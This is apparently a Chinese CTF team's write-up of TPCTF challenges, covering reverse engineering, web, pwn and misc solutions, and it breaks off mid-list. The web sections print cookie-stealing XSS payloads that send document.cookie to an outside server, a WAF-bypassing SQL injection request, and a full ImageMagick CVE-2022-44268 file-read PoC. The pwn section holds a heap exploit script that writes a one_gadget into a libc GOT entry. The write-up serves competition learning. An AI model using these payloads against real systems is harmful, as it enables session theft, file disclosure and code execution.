TPCTF-XCTF rk6
Reverse
portable
https://justine.lol/ape.html
actually portable executable
该题使用的不是传统的 libc 而是静态链接的 cosmopolitan libc
而我们手上没有它的符号信息
所以库函数是几乎没法分析的
首先先看 strings
找不到它们的引用
不过可以寻找立即数
找到函数 407f30
但在 F5 之前需要先调整调用约定
IDA 是以 PE 文件打开的所以默认 MSVC 的调用约定
然而本题似乎是在 linux 上编译的
直接在 IDA 选项里修改调用约定
然后 F5 可以看到一大堆 std::cin 和 std::cout 的构造/销毁代码
它们虽然是内联的不过长的差不多
可以折叠起来
直接跳到最后的比较
std::string 的规则:
如果长度小于 16 个字符
bit0 flag=0
bit1-7 len
char c_str[15]
如果长度大于 16 字符
bit0 flag=1
bit1-7 dummy_0
char dummy_1[7]
uint64_t len
char *c_str
可以看出这里其实就是一个 OTP
k=b'Cosmopolitan'
b=ida_bytes.get_bytes(0x46b2c0,66)
t=bytes(k[i%12]^b[i] for i in range(len(b)))
t.decode('utf-8')
wE1com3_70_tH3_W0RlD_of_αcτµαlly_pδrταblε_εxεcµταblε
TPCTF{wE1com3_70_tH3_W0RlD_of_αcτµαlly_pδrταblε_εxεcµταblε}
chase
用misc思维做的(雾)
.nes文件,用FCEUX分析,第一部分很简单,直接玩游戏即可,当然也可以开挂,游戏获胜条件是得到要求的金币数,找到对应的值,这里为83,改为0即可一路通关:
经过不断调试发现AB对应的值和场景有关,每个场景对应值固定且范围普遍在0-60之间,那么尝试爆破,调整AB的值,改内存时发现会有随机性,相同的值不保证每次的闪烁结果相同,这里是尝试到0x15时看到flag2:
flag3很简单,看PPU Viewer
即可:
注意数字和字母的颜色不同,flag:
TPCTF{D0_Y0U_L1KE_PLAY1N9_6@M3S_ON_Y0UR_N3S?}
obfuscator
找字符串有
Copyright 2018-2025 the Deno authors. MIT license.
https://github.com/denoland/deno
(注意力惊人)
根据它的源码可以注意到在文件的末尾存在一个以 d3n0l4nd 开头的数据块
(Aaron 我的神)
该数据块中存储了 javascript 的源码
with open('flag_checker','rb') as fp:
fp.seek(0x04bb2889)
b=fp.read(0x04dc3b9d-0x04bb2889)
with open('protected.js','wb') as fp:
fp.write(b)
源码很大而且根据题目它是混淆过的
head -c 128 protected.js
// Job ID: z8qehse5zx5t
let HbGI;!function(){const Aevx=Array.prototype.slice.call(arguments);return eval("(function Y4QD(HkYv){
查询标志性开头可以找到一个解混淆器
https://github.com/JorianWoltjer/deobfuscate-preemptive
Deobfuscate PreEmptive's JSDefender Demo
./deobfuscate.js ~/CTF/25/TPCTF/obfuscator/protected.js > protected_deobf.js
又是 gzip 的套娃
from base64 import b64decode
import re
import gzip
with open('protected_deobf.js','r') as fp:
fp.readline()
fp.readline()
line=fp.readline()
m=re.search(r',([0-9a-zA-Z+/=]+)"',line)
e64=m.group(1)
e64=e64.encode()
with open('test','wb') as fp:
gz=b64decode(e64)
test=gzip.decompress(gz)
fp.write(test)
file test
test: WebAssembly (wasm) binary module version 0x1 (MVP)
又是 wasm 的套娃
wasm-decompile test -o dec.txt
它实际上是由这个项目编译的
https://github.com/golangbot/webassembly/
其实就是把 go 语言编译成了 wasm
在 dec.txt 寻找 Flag 可以找到这一段
"0waf c92t 8 2Ae1c1 7e6d618e6path 9command-line-arguments a"
"dep 9github.com/fatih/color 9v1.18.0 9h1:S8gINlzdQ840/4pfAwic/ZE0dj"
"QEH3wM94VfqLTZcOM= adep 9github.com/mattn/go-colorable 9v0.1.13 9h"
"1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= adep 9github.com/matt"
"n/go-isatty 9v0.0.20 9h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY"
"= abuild 9-buildmode=exe abuild 9-compiler=gc abuild 9-ldflags=""
" -X 'main.encryptedFlag=5ab82be11ac991707e166bbfcbf05cb5776b0ecb34ce"
"659e6209542fecba7ab6ec82f44c1ab55e4f4fb06b37ef935b08' -X 'main.maske"
"dKey=960937ed01e77d7662565988a67abbfe0a2c11742abd00d6cf74de094447f7d3'"
" -X 'main.maskedIV=a7ccfe57d2af1deb1a0088517c0a9240' -X 'main.mask"
"=5dabc0b2b7296eefeaadd177746adb4acb2439e7990792cc7fdb7124b1a2633d' -"
"s -w " abuild 9CGO_ENABLED=0 abuild 9GOARCH=wasm abuild 9GOOS=js"
调试信息(大概是吧)里泄漏了编译时使用的命令
而 flag 密文是通过命令行传入的
还有个 mask 应该提示要作 XOR
在 dec.txt 里寻找运行程序时显示的字符串 S3CUR3...
可以在附近看到 AES CBC 相关的报错字符串
于是尝试 AES CBC
from Crypto.Cipher import AES
encryptedFlag=bytes.fromhex("5ab82be11ac991707e166bbfcbf05cb5776b0ecb34ce659e6209542fecba7ab6ec82f44c1ab55e4f4fb06b37ef935b08")
maskedKey=bytes.fromhex("960937ed01e77d7662565988a67abbfe0a2c11742abd00d6cf74de094447f7d3")
maskedIV=bytes.fromhex("a7ccfe57d2af1deb1a0088517c0a9240")
mask=bytes.fromhex("5dabc0b2b7296eefeaadd177746adb4acb2439e7990792cc7fdb7124b1a2633d")
Key=bytes(a^b for a,b in zip(maskedKey,mask))
IV=bytes(a^b for a,b in zip(maskedIV,mask))
aes=AES.new(key=Key,mode=AES.MODE_CBC,iv=IV)
x=aes.decrypt(encryptedFlag)
print(x)
TPCTF{m47r3shk4_h4ppy_r3v3r53_g@_w45m}
linuxpdf
自己用项目搭建个 64 位版本 diff 一下后发现就只有 var embedded_files
这一行不同,写个小脚本提取一下文件。
import json
import base64
import zlib
from pathlib import Path
with open("files.js", "r") as f:
js_content = f.read()
json_str = js_content.split("var embedded_files = ")[1].split(";")[0]
embedded_files = json.loads(json_str)
for rel_path, data_b64 in embedded_files.items():
output_path = Path("extracted_files") / rel_path
output_path.parent.mkdir(parents=True, exist_ok=True)
# Base64 解码
data_compressed = base64.b64decode(data_b64)
# zlib 解压
data_original = zlib.decompress(data_compressed)
# 写入文件
with open(output_path, "wb") as f:
f.write(data_original)
直接搜索字符串 Flag:
就能找到要逆向的文件 extracted_files/root/files/00000000000000a9
。
IDA9 打开,直接就能看到代码。
主函数读取29个字符的输入,调用sub_2948函数。sub_2948函数处理当前字符串的MD5哈希,并与预存哈希比较。unk_4008
是预存的一批哈希值。
最后一个哈希值只有两个字符,使用 hashcat
爆破出最后一个哈希 CB0FC813755A45CE5984BFBA15847C1E
的对应值是 F}
,再写个脚本爆破一下就能出flag了。
import hashlib
hashes = [
"38F88A3BC570210F8A8D95585B46B065", "83055AE80CDC8BD59378B8628D733FCB", "FA7DAFFBD7ACEC13B0695D935A04BC0F",
"C29CC0FD3801C7FDD315C782999BD4CB", "2BA2D01AF12D9BE31A2B44323C1A4F47", "DDEEBAF002527A9EAD78BD16684573CC",
"BF95B89934A1B555E1090FECDFD3DA9F", "B6422C30B02938535F8E648D60A87B94", "08C1B76643AF8DD50CB06D7FDD3CF8ED",
"42D69719F97088F06540F412DC1706FB", "A1F23DA61615400E7BD9EA72D63567EB", "4E246F0A5DD3CE59465FF3D02EC4F984",
"B8CF25F963E8E9F4C3FDDA34F6F01A35", "2D98D820835C75A9F981AD4DB826BF8E", "702EAD08A3DD56B3134C7C3841A652AA",
"D2D557B613662B92F399D612FB91591E", "E4422B6320ED989E7E3CB97F369CBA38", "71803586C67059DDA32525CE844C5079",
"83B371801D0ADE07B5C4F51E8C6215E2", "B0D1B4885BC2FDC5A665266924486C5F", "792C9E7F05C407C56F3BEC4CA7E5C171",
"3855E5A5BBC1CBE18A6EAB5DD97C063C", "886D45E0451BBBA7C0341FE90A954F34", "3A437CBE6591EA34896425856EAE7B65",
"34304967A067308A76701F05C0668551", "D6AF7C4FEDCF2B6777DF8E83C932F883", "DF88931E7EEFDFCC2BB80D4A4F5710FB",
"CB0FC813755A45CE5984BFBA15847C1E"
]
current_flag = "F}"
# 从倒数第二个哈希开始逆序处理
for i in range(len(hashes) - 2, -1, -1):
target_hash = hashes[i]
found = False
for c in range(32, 127):
candidate = chr(c) + current_flag
md5_hash = hashlib.md5(candidate.encode()).hexdigest().upper()
if md5_hash == target_hash:
current_flag = candidate
found = True
print(f"Found for hash {target_hash}: {current_flag}")
break
ifnot found:
print(f"Failed to find character for hash {target_hash}")
exit()
print("Final flag:", current_flag)
# Final flag: TPCTF{mag1c_RISC-V_linux-PDF}
magicfile
文件比较大
先 strings
搜索这个字符串可以知道该题目静态链接了 libmagic
objdump -h 显示实际上比较大的是 .rodata 节而不是 .text 节
因此拖到 IDA 中分析
s = (char *)malloc(0x64uLL);
printf("Please input the flag: ");
__isoc99_scanf("%100s", s);
if ( strlen(s) == 48 )
{
ptr = (void *)sub_5890(0LL);
sub_58E0(ptr, &off_119B018, &off_119B010, 1LL);
v4 = strlen(s);
v7 = (char *)sub_59A0(ptr, s, v4);
puts(v7);
sub_58A0(ptr);
}
else
{
puts("Try again.");
}
flag 长度 48
测试一下
perl -e "print 'a'x48" | ./magicfile
Please input the flag: ASCII text, with no line terminators
容易知道出题的操作系统是 Ubuntu 22.04
在 docker 里运行一个并下载 libmagic-dev 包
拷贝 /usr/lib/x86-64-linux-gnu/libmagic.a
然后 sigmake 给 IDA 导入符号
看了一下似乎没有魔改
sub_58e0 就是 libmagic 的加载函数
21004 存储了 1c 04 1e f1 也就是 .mgc 的开头
经过检查 116f9f8 是这个 .mgc 的长度
.rodata 节主要就是存储 magic 数据库 (.mgc 文件)
也说明了为啥它这么大
将它 dump 下来
fp=open("dump.mgc","wb")
b=ida_bytes.get_bytes(0x21004,0x116f9f8)
fp.write(b)
close(fp)
https://github.com/file/file/blob/242c85c49244e186c39973b64d6f4eb288f09873/src/file.h#L223
阅读源码里的 struct magic
可以知道
-
offset 位于 12-15 字节 -
需要比较的值位于 32 字节 -
输出位于 160 字节 -
操作符位于第 4 字节 -
从 = 操作符重现的频率可以知道 magic 结构体在文件中的长度是 0x178
这时候注意到
-
输入的开头必须是 TPCTF{ -
绝大部分的输出是 Try again
于是寻找不是 Try again 的输出
检查它附近的 magic 结构体
缺第一个字符
但可以很容易猜测出来是 Y
TPCTF{YoU_AR3_SO_5m@R7_TO_cRACk_Th1$_m@9iC_f1le}
stone-game
题目还是挺简单的,简单来说就是给了七个部分,每个部分都有1-100个石头,每次可以取每个部分的若干个石头,看最后谁取到最后一个石头谁就获胜,总共100轮,赢了90轮+就可以获得flag。
由于ai比较蠢,因此玩法如下
第一轮:
x1 x2 x3 x4 x5 x6 x7
user: x1 x2 x3 x4 0 0 0 -> 使得前四部分数量=0 -> 0 0 0 0 x5 x6 x7
ai: 会从剩下三部分中取完其中一个部分 -> 0 0 0 0 0 x6 x7
第二轮:
0 0 0 0 0 x6 x7
user: 0 0 0 0 0 x6-1 x7-1 -> 剩下两部分就只剩一个 -> 0 0 0 0 0 1 1
ai: 只能从剩下两部分取1个了 -> 0 0 0 0 0 0 1
第三轮:
直接取剩下的1个即可,就赢噜
就这样玩100把就ok了,本来想着写脚本的,但是pwntools连接不上环境,不知道为什么,那就硬玩吧:
Web
baby layout
给了docker附件,简单分析了一下源码:
在index.js文件中,看到了有使用DOMPurify库来防止XSS操作,然后在package.json文件中可以看到DOMPurify的版本为3.2.4,本来以为是考的这个绕过的0day,同时也是有这方面的挑战:
《DOMPurify 3.2.3 February XSS Challenge》
但是并没有发现有什么绕过方法,并且这里的版本是最新的3.2.4,在官方的github上提供了一个demo网站,我们可以用来测试,比如最常见的script
标签,就会被优化掉:
同时看bot的文件,可以知道是需要获取到bot的cookie:
await context.setCookie({
name: 'FLAG',
value: FLAG,
domain: APP_HOST,
httpOnly: false,
sameSite: 'Strict',
});
httponly被设置为了false,那么是可以直接使用js脚本获取的。
打XSS,最好用的一般就是img标签,可以直接尝试打一下看看回显:
<img src=a onerror=alert(1)>
先传Create New Layout然后传Create New Post,可以看到如下回显:
成功被解析成img标签,可以再看一下前端的标签构造:
这里进行了很多的尝试,一直绕不过去。最后看着这个DOMPurify库函数的调用,想着是不是代码逻辑之间的问题,那么去仔细审一下源码,果然有问题,主要漏洞点存在于如下两个路由:
app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
return res.status(400).send('Invalid params');
}
if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');
const layout = req.session.layouts[layoutId];
if (layout === undefined) return res.status(400).send('Layout not found');
const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/{{content}}/g, () => sanitizedContent);
if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');
const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id);
console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);
return res.json({ id });
});
app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string') return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');
const sanitizedLayout = DOMPurify.sanitize(layout);
const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});
/api/layout
路由是会将过滤后的值放进 session.layouts
,然后在 /api/post
路由,有读取出
这个 session.layouts
相对应的layoutId
的值,然后,还有个替换操作:
const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/{{content}}/g, () => sanitizedContent);
可以看到是先进行的检测操作,然后再进行的替换,那么,可以在这里可以通过在 /api/layout
路由传进一个无害的payload
的一部分,并拼接上 {{content}}
,然后在第二个 /api/post
路由再次传进另外一部分无害的payload的组成部分,最后合起来就是一个完整的可利用的payload,尝试一下,这里将前面的img标签的payload分成经demo网站测试可以如下两部分:
<img src=a{{content}}>
onerror=alert(1)
第一次在Create New Layout传第一行的,然后在Create New Post传第二行的,可以得到如下内容:
成功了,那么现在就是需要绕一下引号那些,经测试发现如下可以打(后面发现好像不需要注释也行,也刚好闭合):
" onerror=alert(1)>\
成功弹窗:
然后使用fetch函数直接获取cookie即可:
<img src=a{{content}}>
"onerror=fetch(`http://[ip]:2333/`+document.cookie)>\
操作还是和之前的一样,然后在自己服务器上传监听端口即可。
然后将url上的随机值发给admin bot即可:
最后拿到flag:
safe layout
历史漏洞https://yaniv-git.github.io/2024/12/08/DOMPurify%203.2.1%20Bypass%20(Non-Default%20Config)/
然后题目这里加了{{content}}的replace,可能是根据这个洞然后加了点东西来出的题目。然后用历史payload加上自己测试来bypass.这里主要是闭合标签,然后加了个来xss。
payload:
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<! ${a<{{content}}/style><{{content}}img src=x onerror="fetch('https://webhook.site/9632cdeb-601e-487f-8b41-719570f65446?flag='+document.cookie)">
</style>
}
<foo-b id="><img{{content}}hmm..</foo-b>
</a></table></li></mi></foo-test></math>
TPCTF{D0_n07_M0D1FY_7h3_0U7PU7_Af73R_H7mL_5aN171z1n9}
使用这个payload直接创建一个layout,然后post文章的时候传空的即可
supersqli
看到这类的waf有点走不动道
第一反应是绕过waf,这里尝试了两种思路
一开始想到是http走私,但是没走成,前后都处理了TE头
https://www.geekby.site/2022/03/waf-bypass/#multipart-%E6%B7%B7%E6%B7%86
想着可以通过这种方式,waf那里把password当成文件,而后端又把password覆盖了
对着这篇文章改了一下,UNION SELECT递归拼接sql语句自身,replace绕过字符限制
通过docker log也能看出传入的是一个username并且有一个post请求,验证了猜想
POST /flag/ HTTP/1.1
Host: 1.95.159.113
Content-Length: 523
Cache-Control: max-age=0
Origin: http://1.95.159.113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://1.95.159.113/flag/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: multipart/form-data; boundary=a
Connection: close
--a
Content-Disposition: form-data; name="username"
admin
--a
Content-Disposition: form-data; name="password";filename="password"
Content-Disposition: form-data; name="password";
'UNION SELECT 1,"admin",substr(query,1,149)||char(34)||replace(substr(query,1),char(34),char(34)||char(34))||char(34)||substr(query,149) FROM(SELECT "'UNION SELECT 1,""admin"",substr(query,1,149)||char(34)||replace(substr(query,1),char(34),char(34)||char(34))||char(34)||substr(query,149) FROM(SELECT as query)--" as query)--
--a--
thumbor 1
比较 thumbor 1和 thumbor 2的 Dockerfile,可以发现 thumbor 2 多装了个 imagemagick
查看 imagemagick 的历史漏洞,可以找到 CVE-2022-44268
https://github.com/vulhub/vulhub/tree/master/imagemagick/CVE-2022-44268
用里面的 poc 打就行了
#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging
logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'x00x00x00nx00x00x00nx08x02x00x00x00'
IDAT = b'xx9cxbdxccxa1x11xc0 x0cFxe1xb4x03Dx91x8b`xffmx98x010x89x01xc5x00xfcxb8nx8eVxf6xd9'
b'xefxee])%zxefxfexb0x9fxb8xf7^J!xa2Zkkmxe7x10x02x80x9cxf3x9cSDx0esUx1dcxa8xeaax0exc0'
b'xccbx8cfx06`gwgfx11afwx7fxx01^K+F'
def parse_data(data: bytes) -> str:
_, data = data.strip().split(b'n', 1)
return binascii.unhexlify(data.replace(b'n', b'')).decode()
def read(filename: str):
ifnot filename:
logging.error('you must specify a input filename')
return
res = ''
p = png.Reader(filename=filename)
for k, v in p.chunks():
logging.info("chunk %s found, value = %r", k.decode(), v)
if k == b'zTXt':
name, data = v.split(b'x00', 1)
res = parse_data(d.decompress(data[1:]))
if res:
sys.stdout.write(res)
sys.stdout.flush()
def write(from_filename, to_filename, read_filename):
ifnot to_filename:
logging.error('you must specify a output filename')
return
with open(to_filename, 'wb') as f:
f.write(png.signature)
if from_filename:
p = png.Reader(filename=from_filename)
for k, v in p.chunks():
if k != b'IEND':
png.write_chunk(f, k, v)
else:
png.write_chunk(f, b'IHDR', IHDR)
png.write_chunk(f, b'IDAT', IDAT)
png.write_chunk(f, b"tEXt", b"profilex00" + read_filename.encode())
png.write_chunk(f, b'IEND', b'')
def main():
parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
parser.add_argument('action', type=str, choices=('generate', 'parse'))
parser.add_argument('-i', '--input', type=str, help='input filename')
parser.add_argument('-o', '--output', type=str, help='output filename')
parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
args = parser.parse_args()
if args.action == 'generate':
write(args.input, args.output, args.read)
elif args.action == 'parse':
read(args.input)
else:
logging.error("bad action")
if __name__ == '__main__':
main()
python poc.py generate -o poc.png -r /flag
将生成的图片放vps里,让靶机访问
http://1.95.57.127:3501/thumbor/unsafe/450x/[ip:port]/poc.png
保存图片,然后用poc.py解析
python poc.py parse -i ccc.png
读/flag读到的是16进制字符串,转一下即可
safe layout revenge
revenge这个题目使用
比较了一下差异,发现就是加了点过滤,但是我一开始的思路就是把不允许存在属性绕过了,所以这里加的过滤并不影响。
历史漏洞https://yaniv-git.github.io/2024/12/08/DOMPurify%203.2.1%20Bypass%20(Non-Default%20Config)/
然后题目这里加了{{content}}的replace,可能是根据这个洞然后加了点东西来出的题目。然后用历史payload加上自己测试来bypass.这里主要是闭合标签,然后加了个来xss。
payload:
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<! ${a<{{content}}/style><{{content}}img src=x onerror="fetch('https://webhook.site/4b236160-a476-4b5c-ae2a-64ff6ea32a1a?flag='+document.cookie)">
</style>
}
<foo-b id="><img{{content}}hmm..</foo-b>
</a></table></li></mi></foo-test></math>
TPCTF{AlS0_r3M3M83r_t0_d1SA8l3_daTa_AND_aR1A}
使用这个payload直接创建一个layout,然后post文章的时候传空的即可
Pwn
EzDB
Libc 2.35,off by one篡改record的size,使记录的size大于实际地址,从而使用show泄漏出libc基地址,并使用edit实现堆溢出。通过溢出篡改page对象中的指针,使下次insert record时,记录可以插入到任意地址,获得任意地址写。按理来说2.35后,篡改free_hook、malloc_hook等不会引起跳转。但是实际上libc默认使用懒连接,got表,可写,libc中的got表可以当作hook使用,如strlen的got表可以当作“puts_hook”,如果环境不符合ogg,可以篡改其他函数got表,程序会变换进入ogg的时机,从而不断尝试符合的ogg。这里运气比较好,strlen的got即可满足条件。
#!/bin/python3
from pwn import *
from std_pwn import *
context.arch='amd64'
context.os='linux'
context.log_level = 'debug'
context.timeout = 10000
context.terminal = ['tmux', 'splitw', '-h']
elf=ELF('./db')
libc=ELF('./libc.so.6')
recv_idx=b'Index:'
recv_len=b'Varchar Length:'
recv_content=b'Varchar:'
recv_menu=b'>>>'
def cmd(num):
sla(recv_menu,str(num).encode())
def add(idx):
cmd(1)
sla(recv_idx,str(idx).encode())
def free(idx):
cmd(2)
sla(recv_idx,str(idx).encode())
def insert_record(idx,len,content):
cmd(3)
sla(recv_idx,str(idx).encode())
sla(recv_len,str(len).encode())
sa(recv_content,content)
def show(idx,id):
cmd(4);
sla(recv_idx,str(idx).encode())
sla(b"Slot ID:",str(id).encode())
def edit(idx,id,len,content):
cmd(5)
sla(recv_idx,str(idx).encode())
sla(b"Slot ID:",str(id).encode())
sla(recv_len,str(len).encode())
if type(content) == str: content = content.encode()
sa(recv_content,content)
getProcess("61.147.171.106",59264,"./db")
add(0)
add(1)
add(2)
add(3)
insert_record(0,0x3fd,b'x04'+b'a'*0x3fc)
show(0,0)
ru(p64(0x31))
heap_base = uu64(ru(b'x00')[:-1]) - 0x12720
success(f"heap_base={hex(heap_base)}")
edit(0,0,0x40d,b'x04'+b'a'*0x3fc+p64(0)+p64(0x441))
free(1)
show(0,0)
libc_base=uu64(ru(b'x7f')[-6:])- 0x21ace0
success(f"libc_address={hex(libc_base)}")
one_gadget=libc_base+0xebc85
libc_strlen_got=0x21a098+libc_base
add(1)
payload=b'x04'+b'a'*0x3fc+p64(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x31)+p64(libc_strlen_got)+p64(libc_strlen_got-0x50)+p64(libc_strlen_got+8)+p64(libc_strlen_got)
edit(0,0,len(payload),payload)
gdba()
insert_record(1,0x10,p64(one_gadget)*2)
# gdba()
ita()
Misc
raenil
牢cain说透视变换,拦不住小misc手硬拼:
直接扫后面位会有缺失,用Padding Bits Recovery功能修复:
纠错等级L,14%左右的误码率:
那么直接Reed-Solomon Decoder即可:
flag:
TPCTF{LIHHHHAWJ2123089hj091j2s++_+___+SO_FUN!!!}
nanonymous spam
发现不同的IP对应的user不同,并且user字符串的格式符合ipv4结构,改请求头的X-REAL-IP批量拿数据找规律,脚本如下:
import requests
url = 'http://1.95.184.40:8520'
# base = 103
# a.b.c.d -> a*base^3 + b*base^2 + c*base^1 + d*base^0 -> number -> name
# name 排序 name[4] name[3] name[1] name[2]
def num2ip(num:int):
a = num // 256**3
b = (num - a*256**3) // 256**2
c = (num - a*256**3 - b*256**2) // 256
d = num - a*256**3 - b*256**2 - c*256
returnf'{a}.{b}.{c}.{d}'
cnt = 0
whileTrue:
headers = {
'X-Real-IP': num2ip(cnt)
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
name = response.text.split('n')[203][34:-6]
print(f'{cnt//(513*103)} {name}')
cnt += 513*103
获得的namlist如下,每组字段对应一张表:
name4 = ['Puc', 'Maz', 'Doh', 'Hun', 'Cud', 'Vit', 'Wer', 'Hag', 'Din', 'Feb', 'Gui', 'Rak', 'Vac', 'Kim', 'Pol', 'Som', 'Saa', 'Hac', 'Xie', 'Ses', 'Van', 'Nef', 'Mia', 'Tab', 'Pid', 'Ver', 'Cay', 'Jog', 'Jar', 'Lan', 'Hex', 'Soe', 'Lid', 'Fip', 'Wet', 'Ner', 'Dey', 'May', 'Dua', 'Dez', 'Gut', 'Sag', 'Kor', 'Yon', 'Haa', 'Par', 'Fat', 'Vel', 'Yum', 'Wac', 'Poe', 'Yes', 'Rex', 'Gop', 'Cit', 'Val', 'Xix', 'Bit', 'Mig', 'Mib', 'Gaa', 'Sat', 'Mex', 'Geo', 'Doi', 'Mou', 'Dol', 'Joy', 'Caa', 'Dix', 'Nat', 'Boj', 'Mad', 'Pew', 'Nev', 'Sas', 'Rin', 'Dal', 'Joo', 'Vii', 'Tid', 'Hap', 'Sea', 'Cae', 'Cab', 'Nea', 'Wan', 'Mem', 'Nam', 'Mao', 'Pov', 'Pio', 'Bey', 'Vas', 'Jee', 'Not', 'Lat', 'Sud', 'Bog', 'Hue', 'Rio', 'Got', 'Liu', 'Lax', 'Fec', 'Duc', 'Rec', 'Mas', 'Cig', 'Vox', 'Rov', 'Pow', 'Sil', 'Gac', 'Pet', 'Yay', 'Sad', 'Ram', 'Box', 'Wag', 'Nin', 'Lib', 'Tou', 'Dae', 'Tau', 'Teo', 'Sod', 'Hoy', 'Tip', 'Cer', 'Wee', 'Nov', 'Keg', 'Nit', 'Wok', 'Hin', 'Tue', 'Ron', 'Roi', 'Vos', 'Sao', 'Kia', 'Tix', 'Mip', 'Cub', 'Nah', 'Hot', 'Wic', 'Yar', 'Sic', 'Sar', 'Kok', 'Fee', 'Yuk', 'Hoo', 'Hei', 'Dap', 'Cen', 'Las', 'Guy', 'Jon', 'His', 'Moo', 'Roz', 'Fac', 'Fir', 'Ham', 'Rad', 'Foi', 'Sof', 'Poo', 'Toa', 'Kos', 'Sei', 'Dof', 'Get', 'Bap', 'Kes', 'Die', 'Dad', 'Pea', 'Nus', 'Tit', 'Ros', 'Nay', 'Moa', 'Zen', 'Mam', 'Heb', 'Fab', 'Rib', 'Cao', 'Hey', 'Wot', 'Soo', 'Kai', 'Cem', 'Rom', 'Uaw', 'Zed', 'Noi', 'Sab', 'Tes', 'Gob', 'Jax', 'Nob', 'Bao', 'Tos', 'Tor', 'Mep', 'Pan', 'Har', 'Guv', 'Foa', 'Nih', 'Cim', 'Pig', 'Jot', 'Sop', 'Duh', 'Jia', 'Nil', 'Fib', 'Kei', 'Gad', 'Toy', 'Pim', 'Gel', 'Cet', 'Hal', 'Wen', 'Yah', 'Nup', 'Jai', 'Paw', 'Pos', 'Qed', 'Tel', 'Gay', 'Liv', 'Bus', 'Fop', 'Pia', 'Miu', 'Ked', 'Fea', 'Fob', 'Sel', 'Miz', 'Lor', 'Tay', 'Pot', 'Tac', 'Wei', 'Mug', 'Dat', 'Wal', 'How', 'Yow', 'Pax']
name1 = ['Nod', 'Tap', 'Liz', 'Mel', 'Fig', 'Rif', 'Rip', 'Pud', 'Foo', 'Haw', 'Wef', 'Kel', 'Gat', 'Hod', 'Mom', 'Lin', 'Fez', 'Rua', 'Fay', 'Pat', 'Ned', 'Taz', 'Sid', 'Mic', 'Nom', 'Hab', 'Rug', 'Men', 'Nok', 'Fun', 'Pox', 'Red', 'Jah', 'Tet', 'Hip', 'Tem', 'Bad', 'Mir', 'Taj', 'Maf', 'Rac', 'Zia', 'Hea', 'Fis', 'Dem', 'Bim', 'Gow', 'Hub', 'Job', 'Nex', 'Jas', 'Lie', 'Sim', 'Poc', 'Ran', 'Voa', 'Gig', 'Jes', 'Nie', 'Lal', 'Lek', 'Pen', 'Cos', 'Col', 'Nao', 'Mop', 'Bac', 'Cis', 'Mor', 'Vim', 'Ceo', 'Gic', 'Mii', 'Dep', 'Len', 'Few', 'Lob', 'Lea', 'Bec', 'Mui', 'Pec', 'Mab', 'Her', 'Tas', 'Tui', 'Kun', 'Vic', 'Too', 'Woe', 'Uav', 'Dam', 'Jin', 'Kaz', 'Yew', 'Cid', 'Jaw', 'Hay', 'Gib', 'Mis', 'Til', 'Six', 'Bot', 'Guo']
name3 = ['Ser', 'Dea', 'Jac', 'Way', 'Cio', 'Tie', 'Tun', 'Goa', 'Sap', 'Fan', 'Jor', 'Pit', 'Gor', 'Son', 'Mun', 'Dan', 'Veg', 'Wel', 'Sev', 'Jeb', 'Gio', 'Ceu', 'Bib', 'Cif', 'Bug', 'Zan', 'Mec', 'Rob', 'Lao', 'Hew', 'Quo', 'Hor', 'Foe', 'Mak', 'Hol', 'Fil', 'Cam', 'Nur', 'Vet', 'Yea', 'Yup', 'Lot', 'Jab', 'Goo', 'Soy', 'Pay', 'Hoe', 'Dud', 'Qos', 'Boa', 'Ceb', 'Lug', 'Nic', 'Rai', 'Nap', 'Sem', 'Rue', 'Bah', 'Sez', 'Jib', 'Ual', 'Mus', 'Cip', 'Cir', 'Yan', 'Div', 'Bor', 'War', 'Don', 'Tug', 'Tuk', 'Maj', 'Hae', 'Rui', 'Git', 'Gil', 'Lab', 'Med', 'Mag', 'Dui', 'Ruv', 'Raw', 'Sol', 'Foy', 'Sib', 'Sub', 'Moz', 'Ras', 'Mil', 'Rem', 'Nix', 'Dom', 'Ban', 'Zeb', 'Woo', 'Pus', 'Mau', 'Boi', 'Ped', 'Kee', 'Pop', 'Mix', 'Wai', 'Gun', 'Ley', 'Cee', 'Bok', 'Fao', 'Sul', 'Zac', 'Siu', 'Jan', 'Sai', 'Ged', 'Pau', 'Cop', 'Les', 'Suu', 'Dir', 'Var', 'Wap', 'Tai', 'Wah', 'Rei', 'Pas', 'Bat', 'Cas', 'Fad', 'Joe', 'Nir', 'Fem', 'Hai', 'Tal', 'Wea', 'Rok', 'Hoa', 'Goh', 'Hof', 'Nos', 'Roy', 'Nem', 'Bel', 'Yui', 'Wor', 'Neb', 'Tot', 'Luv', 'Yun', 'Lil', 'Doc', 'Lai', 'Hem', 'Kew', 'Lay', 'Nik', 'Gus', 'Hoh', 'Fix', 'Cup', 'Fer', 'Deo', 